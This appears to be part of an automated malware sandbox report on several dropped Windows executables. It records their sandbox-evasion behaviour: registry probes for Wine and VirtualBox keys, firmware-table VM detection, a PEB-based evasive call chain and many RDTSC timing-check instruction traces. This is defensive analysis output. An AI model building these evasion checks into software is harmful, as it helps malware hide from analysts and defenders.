Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_1-9927

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F2FB second address: 69F301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EB6C second address: 69EB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EB70 second address: 69EB83 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007F367CBFD3D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810DCF second address: 810DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F367D44DA06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810DDD second address: 810DF7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F367CBFD3DCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A809 second address: 80A846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA0Ah 0x00000009 js 00007F367D44DA06h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F367D44DA11h 0x00000017 jmp 00007F367D44DA15h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A846 second address: 80A853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A853 second address: 80A85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A85F second address: 80A865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A865 second address: 80A869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A869 second address: 80A86D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A86D second address: 80A875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FDBE second address: 80FDC6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FDC6 second address: 80FDEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367D44DA0Ch 0x00000009 jmp 00007F367D44DA19h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FDEF second address: 80FDF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81039B second address: 8103B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8103B2 second address: 8103B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812E83 second address: 812E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812E87 second address: 69EB6C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 1E5E2166h 0x0000000e jnp 00007F367CBFD3D6h 0x00000014 mov edx, dword ptr [ebp+122D1DD7h] 0x0000001a push dword ptr [ebp+122D0475h] 0x00000020 mov ecx, dword ptr [ebp+122D2D01h] 0x00000026 call dword ptr [ebp+122D1C89h] 0x0000002c pushad 0x0000002d pushad 0x0000002e xor bx, 53ACh 0x00000033 popad 0x00000034 xor eax, eax 0x00000036 jmp 00007F367CBFD3E7h 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f sub dword ptr [ebp+122D2595h], eax 0x00000045 mov dword ptr [ebp+122D2C81h], eax 0x0000004b sub dword ptr [ebp+122D2595h], edi 0x00000051 jmp 00007F367CBFD3DCh 0x00000056 mov esi, 0000003Ch 0x0000005b mov dword ptr [ebp+122D3A98h], edx 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 cmc 0x00000066 lodsw 0x00000068 sub dword ptr [ebp+122D3A98h], eax 0x0000006e pushad 0x0000006f push edx 0x00000070 jmp 00007F367CBFD3DAh 0x00000075 pop ebx 0x00000076 cmc 0x00000077 popad 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c sub dword ptr [ebp+122D3A98h], edx 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 mov dword ptr [ebp+122D3A98h], eax 0x0000008c push eax 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812F72 second address: 812FBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b jmp 00007F367D44DA0Ah 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jno 00007F367D44DA1Eh 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812FBE second address: 812FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812FC2 second address: 812FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812FC6 second address: 812FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812FCC second address: 812FDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F367D44DA0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813101 second address: 813150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F367CBFD3DEh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 ja 00007F367CBFD3D6h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F367CBFD3E2h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813150 second address: 8131D8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jo 00007F367D44DA13h 0x00000013 jmp 00007F367D44DA0Dh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jmp 00007F367D44DA19h 0x00000021 pop eax 0x00000022 mov si, 19E5h 0x00000026 adc cx, D63Eh 0x0000002b push 00000003h 0x0000002d mov dword ptr [ebp+122D1DB1h], edx 0x00000033 mov ecx, dword ptr [ebp+122D2B61h] 0x00000039 push 00000000h 0x0000003b sub dword ptr [ebp+122D1C3Dh], ebx 0x00000041 push 00000003h 0x00000043 mov di, cx 0x00000046 call 00007F367D44DA09h 0x0000004b pushad 0x0000004c jmp 00007F367D44DA17h 0x00000051 pushad 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8131D8 second address: 8131E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8131E4 second address: 813213 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F367D44DA0Ch 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F367D44DA12h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813213 second address: 813219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813219 second address: 81321D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81321D second address: 813231 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jnp 00007F367CBFD3D6h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8132B8 second address: 8132C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F367D44DA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8132C2 second address: 8132F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b js 00007F367CBFD3DCh 0x00000011 mov dword ptr [ebp+122D246Dh], eax 0x00000017 push 00000000h 0x00000019 and ecx, 5FDAB9A7h 0x0000001f push E105EAB3h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F367CBFD3DEh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8133B1 second address: 8133BF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8133BF second address: 8133C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8255F4 second address: 82561F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F367D44DA19h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B72 second address: 831B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B7A second address: 831B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CC1 second address: 831CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CC6 second address: 831CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CCC second address: 831CE2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F367CBFD3D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F367CBFD3D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CE2 second address: 831CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CE6 second address: 831CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CF2 second address: 831CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831CF8 second address: 831D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831E68 second address: 831E77 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F367D44DA06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832644 second address: 832660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F367CBFD3E1h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832940 second address: 832946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832946 second address: 832967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E3h 0x00000007 je 00007F367CBFD3D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832967 second address: 83297A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA0Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83297A second address: 832982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8005D1 second address: 8005E0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F367D44DA0Ah 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832D67 second address: 832D6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833399 second address: 8333B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA11h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8333B0 second address: 8333C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F367CBFD3DDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8333C2 second address: 8333C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8336A1 second address: 8336B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F367CBFD3DDh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8336B5 second address: 8336D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F367D44DA10h 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838DDA second address: 838DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83939D second address: 8393A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837D76 second address: 837D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838427 second address: 83842D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83842D second address: 838433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ECAA second address: 83ECB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F367D44DA0Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E5A0 second address: 83E5A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E979 second address: 83E97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E97D second address: 83E99A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F367CBFD3D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F367CBFD3DAh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E99A second address: 83E99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E99E second address: 83E9A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E9A6 second address: 83E9BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F367D44DA13h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E9BF second address: 83E9D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EB5C second address: 83EB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F367D44DA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EB66 second address: 83EB6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EB6A second address: 83EB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A92 second address: 840A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840B18 second address: 840B3D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F367D44DA08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F367D44DA0Ah 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007F367D44DA08h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840B3D second address: 840B63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F367CBFD3E1h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840B63 second address: 840B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
